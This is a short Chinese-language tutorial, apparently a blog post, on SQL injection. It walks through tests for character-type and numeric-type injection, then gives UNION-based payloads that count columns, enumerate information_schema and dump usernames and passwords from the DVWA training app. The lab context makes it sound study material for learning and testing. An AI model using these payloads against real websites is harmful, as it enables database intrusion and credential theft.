sql注入

sql注入


所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。网页链接存在参数传递,后台并没有对用户的输入进行过滤,导致用户的输入直接被SQL解释器执行。

sql注入

  1. 产生条件 ,①有参数传递;②参数值带入数据库查询并执行
  2. 注入类型:字符型和数字型;
  3. 字符型
    Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。
      Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。
  4. 数字型
    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
      Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

判断字段长度
1’ order by 2 --’ //1’+order+by+2±-’

联合查询
1’ union select 1,2 --’ //1’+union+select+1,2±-’
PS:可配合相关查询函数 user(),database(),version()

查询数据库内容
1’ union select table_schema,table_name from information_schema.COLUMNS – ’
1’+union+select+table_schema,table_name+from+information_schema.columns±-+’
前提:获取当前数据库名和表名,这里可以利用数据库特性的:mysql数据库将所有数据库名和表名以及字段名会存储在information.schema库中的COLUMNS表,另外TABLES表也存储着数据库名和表名,但没有字段名。这里选用COLUMNS表,分别字段名为TABLE_SCHEMA存储着数据库名,TABLE_NAME存储着表名,COLUMN_NAME存储着字段名。
上面可以查询到相关库和表
下面针对指定库继续查询
1’ union select table_name,column_name from information_schema.COLUMNS where table_schema=database() – ’
1’+union+select+table_name,column_name+from+information_schema.columns+where+table_schema=database()±-+’

1’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ – ’
1’+union+select+table_name,column_name+from+information_schema.columns+where+table_schema=‘dvwa’±-+’

获取库名和表名后
1’ union select user,password from dvwa.users – ’
1’+union+select+user,password+from+dvwa.users±-+’

  • 6
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值